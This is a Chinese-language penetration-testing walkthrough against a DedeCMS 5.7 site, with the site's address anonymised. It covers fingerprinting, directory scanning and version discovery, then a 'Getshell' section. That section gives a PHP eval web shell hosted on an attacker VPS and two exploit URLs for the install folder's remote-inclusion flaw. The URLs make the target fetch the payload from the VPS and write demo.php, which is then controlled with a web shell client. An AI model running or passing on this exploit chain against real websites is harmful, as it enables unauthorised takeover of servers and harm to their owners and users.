00x01 信息收集
拿到目标url云悉指纹搞一波,指纹没匹对出来,回到网站
虽然没匹对出指纹,但随便浏览个网页看到url总感觉是什么
那就谷歌一下
灵感不就来了,那么初步判断有可能是dedecms尝试了几个dedecms的目录,均是not found
既然是开源的,那我就去找下源码,看看
看到有个robots.txt,看一眼
还真有,那就匹对一下,八九不离十,在看看member还是没有,访问都没有结果,上个御剑扫一下目录看看,
看到个photo我觉得大有文章,访问一下
我的天啊,出来了,还真是dedecms,访问url确定一下:
没错了,确定为织梦CMS搭建的网站,那怎么确定用的织梦什么版本呢,我们可以这样判断
photo/data/admin/ver.txt
Google搜索一下,锁定一下版本应该为5.7左右
确定了版本之后,其实我们从前面的信息(容器版本:apache2.2,存在install文件)可以大致的锁定一个漏洞----织梦远程包含漏洞
00x02 Getshell
利用条件:首先,是目标站安装完cms后并没有删除install文件夹,其次网站建站容器版本过低,当Apache检测到一个文件有多个扩展名时,如1.php.bak,会从右向左判断,直到有一个apache认识的扩展名。
我觉得基本稳了,开干。
在外网VPS创建一个文件dedecms/demodata.a.txt 具体操作如下: 1 mkdir dedecms 2 echo "<?php @eval($_POST[cmd]);?>">dedecms/demodata.a.txt 3 python3 -m http.server
访问如下url:
http://xxx.com/photo/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
http://xxx.com/photo/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=demo.php&updateHost=http://VPS/
如果成功的话,即可生成/install/demo.php,我觉得没问题了,上菜刀